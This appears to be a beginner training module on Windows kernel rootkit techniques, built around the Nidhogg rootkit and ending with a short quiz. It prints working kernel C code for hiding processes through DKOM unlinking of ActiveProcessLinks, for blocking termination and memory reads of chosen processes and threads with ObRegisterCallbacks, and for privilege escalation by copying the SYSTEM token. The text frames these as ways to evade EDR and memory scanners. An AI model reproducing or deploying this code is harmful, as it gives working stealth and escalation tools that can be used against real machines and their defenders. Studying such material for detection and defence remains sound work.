Difficulty: Beginner

Module 3: Process & Thread Manipulation

EPROCESS, ActiveProcessLinks, DKOM for process hiding, and kernel-level PID protection.

Module Objective

Understand how Windows represents processes and threads in kernel memory via EPROCESS and ETHREAD structures, how process enumeration works through the ActiveProcessLinks doubly-linked list, how Nidhogg hides processes using Direct Kernel Object Manipulation (DKOM), and how ObRegisterCallbacks provides handle-based process protection.

1. The EPROCESS Structure

Every running process on Windows is represented in kernel memory by an EPROCESS structure. This is a large, opaque structure (several kilobytes) maintained by the kernel. Key fields relevant to rootkit development:

C// Partial EPROCESS layout (offsets vary by Windows build)
// Use WinDbg: dt nt!_EPROCESS to see actual offsets
typedef struct _EPROCESS {
    KPROCESS        Pcb;                // +0x000 Kernel process block
    // ...
    EX_PUSH_LOCK    ProcessLock;        // Process synchronization lock
    // ...
    HANDLE          UniqueProcessId;    // +0x440 (approx) The PID
    LIST_ENTRY      ActiveProcessLinks; // +0x448 (approx) Doubly-linked list
    // ...
    UCHAR           ImageFileName[15];  // +0x5A8 (approx) Short name
    // ...
    TOKEN           *Token;             // Process token (security context)
    // ...
} EPROCESS, *PEPROCESS;

Offset Volatility

EPROCESS field offsets change between Windows builds. An offset that works on Windows 10 21H2 may be different on Windows 11 23H2. Nidhogg handles this by either using documented kernel APIs to access fields (preferred) or by dynamically resolving offsets at runtime. Hardcoding offsets is fragile and a common source of BSODs.

2. ActiveProcessLinks: The Process List

All active processes are linked together through a doubly-linked list using the ActiveProcessLinks field of EPROCESS. This is a standard LIST_ENTRY structure:

C// LIST_ENTRY is the fundamental Windows kernel linked list node
typedef struct _LIST_ENTRY {
    struct _LIST_ENTRY *Flink;  // Forward link (next entry)
    struct _LIST_ENTRY *Blink;  // Backward link (previous entry)
} LIST_ENTRY, *PLIST_ENTRY;

ActiveProcessLinks Doubly-Linked List

EPROCESS
System (PID 4)
Flink →
EPROCESS
smss.exe
← Blink | Flink →
EPROCESS
csrss.exe
← Blink | Flink →
EPROCESS
target.exe
← Blink

When user-mode tools call NtQuerySystemInformation(SystemProcessInformation) or higher-level APIs like EnumProcesses, CreateToolhelp32Snapshot, or Task Manager's process list, the kernel walks this linked list to enumerate all processes. If a process is not in the list, it is invisible to all these APIs.

3. DKOM: Direct Kernel Object Manipulation

DKOM is the technique of directly modifying kernel data structures to hide or alter process information. To hide a process, Nidhogg unlinks its EPROCESS from the ActiveProcessLinks list:

C// Nidhogg process hiding via DKOM
NTSTATUS HideProcess(ULONG pid) {
    PEPROCESS targetProcess;
    NTSTATUS status;

    // 1. Get EPROCESS pointer from PID
    status = PsLookupProcessByProcessId(
        (HANDLE)(ULONG_PTR)pid,
        &targetProcess
    );
    if (!NT_SUCCESS(status)) return status;

    // 2. Get the ActiveProcessLinks field
    // Offset must be determined for the current Windows build
    PLIST_ENTRY activeLinks = (PLIST_ENTRY)(
        (PUCHAR)targetProcess + ACTIVE_PROCESS_LINKS_OFFSET
    );

    // 3. Unlink from the doubly-linked list
    // Previous->Flink = Current->Flink  (skip over us going forward)
    // Next->Blink = Current->Blink      (skip over us going backward)
    PLIST_ENTRY prevEntry = activeLinks->Blink;
    PLIST_ENTRY nextEntry = activeLinks->Flink;

    prevEntry->Flink = nextEntry;
    nextEntry->Blink = prevEntry;

    // 4. Point our links to ourselves (safety: prevents dangling pointers)
    activeLinks->Flink = activeLinks;
    activeLinks->Blink = activeLinks;

    // 5. Dereference the process object
    ObDereferenceObject(targetProcess);

    return STATUS_SUCCESS;
}

Why the Process Still Runs

Unlinking from ActiveProcessLinks does not affect process scheduling. The Windows scheduler uses a different data structure — the KPROCESS thread list and the dispatcher ready queues. The process continues to execute normally; it is simply invisible to any code that enumerates processes by walking ActiveProcessLinks. This includes Task Manager, Process Explorer, tasklist.exe, and all user-mode EDR process enumeration.

4. Finding the ActiveProcessLinks Offset

Since the offset varies between Windows versions, Nidhogg needs a reliable way to find it. Common approaches:

MethodHow It WorksReliability
Hardcoded TableMaintain a table mapping Windows build numbers to known offsetsHigh for known builds, fails on unknown builds
PsGetProcessId WalkUse PsGetProcessId (documented API) to find the UniqueProcessId offset, then calculate ActiveProcessLinks offset relative to it (immediately follows PID in all known builds)High — leverages the stable relationship between adjacent fields
Signature ScanningScan the EPROCESS for known patterns (e.g., the PID value at a known location)Moderate — can be fragile
C// Dynamically finding ActiveProcessLinks offset
// ActiveProcessLinks immediately follows UniqueProcessId in EPROCESS
ULONG GetActiveProcessLinksOffset() {
    PEPROCESS currentProcess = PsGetCurrentProcess();
    HANDLE currentPid = PsGetCurrentProcessId();

    // Scan EPROCESS for the PID value
    PUCHAR processBase = (PUCHAR)currentProcess;
    for (ULONG offset = 0; offset < 0x600; offset += sizeof(PVOID)) {
        if (*(PHANDLE)(processBase + offset) == currentPid) {
            // ActiveProcessLinks is at the next LIST_ENTRY after UniqueProcessId
            return offset + sizeof(HANDLE);  // PID is 8 bytes on x64
        }
    }
    return 0;  // Failed to find offset
}

5. The ETHREAD Structure

Each thread is represented by an ETHREAD structure, which contains the KTHREAD (scheduler state) and thread-specific information:

C// Partial ETHREAD layout (key fields)
typedef struct _ETHREAD {
    KTHREAD     Tcb;                // +0x000 Kernel thread block (scheduling)
    // ...
    CLIENT_ID   Cid;               // Contains ProcessId + ThreadId
    // ...
    PEPROCESS   ThreadsProcess;    // Pointer back to owning EPROCESS
    // ...
    LIST_ENTRY  ThreadListEntry;   // Links all threads in a process
    // ...
} ETHREAD, *PETHREAD;

Nidhogg can manipulate threads for operations like hiding specific threads or elevating thread privileges by replacing the thread's impersonation token.

6. Process Protection via ObRegisterCallbacks

Beyond hiding processes, Nidhogg can protect processes from being terminated or having their memory read. This uses ObRegisterCallbacks, a documented kernel API that registers pre- and post-operation callbacks for object handle operations:

C// Registering object callbacks for process protection
OB_CALLBACK_REGISTRATION callbackReg;
OB_OPERATION_REGISTRATION opReg[1];

// Set up operation registration for process handles
opReg[0].ObjectType = PsProcessType;
opReg[0].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
opReg[0].PreOperation  = PreOperationCallback;   // Called BEFORE handle is created
opReg[0].PostOperation = NULL;

callbackReg.Version                    = OB_FLT_REGISTRATION_VERSION;
callbackReg.OperationRegistrationCount = 1;
callbackReg.OperationRegistration      = opReg;
callbackReg.RegistrationContext        = NULL;

// Altitude string determines callback ordering
RtlInitUnicodeString(&callbackReg.Altitude, L"321000");

PVOID registrationHandle;
NTSTATUS status = ObRegisterCallbacks(&callbackReg, ®istrationHandle);

7. Stripping Handle Access Rights

The pre-operation callback is where the actual protection happens. When any process tries to open a handle to a protected process, the callback fires and can strip dangerous access rights:

COB_PREOP_CALLBACK_STATUS PreOperationCallback(
    PVOID RegistrationContext,
    POB_PRE_OPERATION_INFORMATION OperationInfo
) {
    // Get the target process of the handle operation
    PEPROCESS targetProcess = (PEPROCESS)OperationInfo->Object;
    HANDLE targetPid = PsGetProcessId(targetProcess);

    // Check if this PID is in our protected list
    if (!IsProtectedProcess(targetPid))
        return OB_PREOP_SUCCESS;  // Not protected, allow normally

    // Strip dangerous access rights from the handle
    if (OperationInfo->Operation == OB_OPERATION_HANDLE_CREATE) {
        OperationInfo->Parameters->CreateHandleInformation
            .DesiredAccess &= ~PROCESS_TERMINATE;      // Can't terminate
        OperationInfo->Parameters->CreateHandleInformation
            .DesiredAccess &= ~PROCESS_VM_READ;         // Can't read memory
        OperationInfo->Parameters->CreateHandleInformation
            .DesiredAccess &= ~PROCESS_VM_WRITE;        // Can't write memory
        OperationInfo->Parameters->CreateHandleInformation
            .DesiredAccess &= ~PROCESS_VM_OPERATION;    // Can't VirtualProtect
        OperationInfo->Parameters->CreateHandleInformation
            .DesiredAccess &= ~PROCESS_CREATE_THREAD;   // Can't inject threads
    }

    return OB_PREOP_SUCCESS;
}

What This Achieves

Stripped RightWhat It Blocks
PROCESS_TERMINATEPrevents TerminateProcess — process cannot be killed
PROCESS_VM_READPrevents ReadProcessMemory — memory scanners cannot read
PROCESS_VM_WRITEPrevents WriteProcessMemory — cannot inject into the process
PROCESS_VM_OPERATIONPrevents VirtualProtectEx — cannot change memory protections
PROCESS_CREATE_THREADPrevents CreateRemoteThread — cannot inject threads

8. Thread Protection

The same ObRegisterCallbacks mechanism works for threads by using PsThreadType instead of PsProcessType:

C// Thread handle protection - strip THREAD_TERMINATE and THREAD_SUSPEND_RESUME
opReg[1].ObjectType = PsThreadType;
opReg[1].Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE;
opReg[1].PreOperation = ThreadPreOperationCallback;

OB_PREOP_CALLBACK_STATUS ThreadPreOperationCallback(
    PVOID RegistrationContext,
    POB_PRE_OPERATION_INFORMATION OperationInfo
) {
    PETHREAD targetThread = (PETHREAD)OperationInfo->Object;
    PEPROCESS ownerProcess = IoThreadToProcess(targetThread);
    HANDLE ownerPid = PsGetProcessId(ownerProcess);

    if (!IsProtectedProcess(ownerPid))
        return OB_PREOP_SUCCESS;

    if (OperationInfo->Operation == OB_OPERATION_HANDLE_CREATE) {
        OperationInfo->Parameters->CreateHandleInformation
            .DesiredAccess &= ~THREAD_TERMINATE;
        OperationInfo->Parameters->CreateHandleInformation
            .DesiredAccess &= ~THREAD_SUSPEND_RESUME;
    }
    return OB_PREOP_SUCCESS;
}

9. Token Elevation

Nidhogg can elevate a process's privileges by replacing its token with the SYSTEM token. The token is a field in the EPROCESS that determines the security context of the process:

CNTSTATUS ElevateProcessToken(ULONG targetPid) {
    PEPROCESS targetProcess, systemProcess;

    // Get the System process (PID 4) - always has SYSTEM token
    PsLookupProcessByProcessId((HANDLE)4, &systemProcess);
    PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)targetPid, &targetProcess);

    // The Token field is an EX_FAST_REF in EPROCESS
    // Copy the System process token to the target process
    ULONG tokenOffset = GetTokenOffset();  // Build-specific offset

    *(PULONG_PTR)((PUCHAR)targetProcess + tokenOffset) =
        *(PULONG_PTR)((PUCHAR)systemProcess + tokenOffset);

    ObDereferenceObject(targetProcess);
    ObDereferenceObject(systemProcess);

    return STATUS_SUCCESS;
}

Token Reference Counting

The above is simplified. In practice, token replacement must handle reference counting properly. The old token must be dereferenced and the new token must be referenced to prevent use-after-free bugs. The EX_FAST_REF encoding (lowest 4 bits store a reference count cache) must also be handled correctly.

Knowledge Check

Q1: Why does unlinking an EPROCESS from ActiveProcessLinks not stop the process from running?

A) The process is paused and then resumed after unlinking
B) The Windows scheduler uses different structures (KTHREAD dispatcher queues) for thread scheduling, not ActiveProcessLinks
C) ActiveProcessLinks is only used for kernel-mode enumeration
D) The process is moved to a hidden scheduler queue

Q2: What does ObRegisterCallbacks allow Nidhogg to do for process protection?

A) Intercept handle creation for processes and strip dangerous access rights like PROCESS_TERMINATE before the handle is granted
B) Register a callback that is called when the process exits
C) Block all network traffic to and from the protected process
D) Encrypt the process memory pages

Q3: Why is hardcoding EPROCESS field offsets dangerous?

A) Hardcoded offsets are slower than dynamic resolution
B) PatchGuard detects and blocks hardcoded offset access
C) Offsets change between Windows builds, causing the driver to access wrong memory locations and potentially BSOD
D) Hardcoded offsets trigger ETW events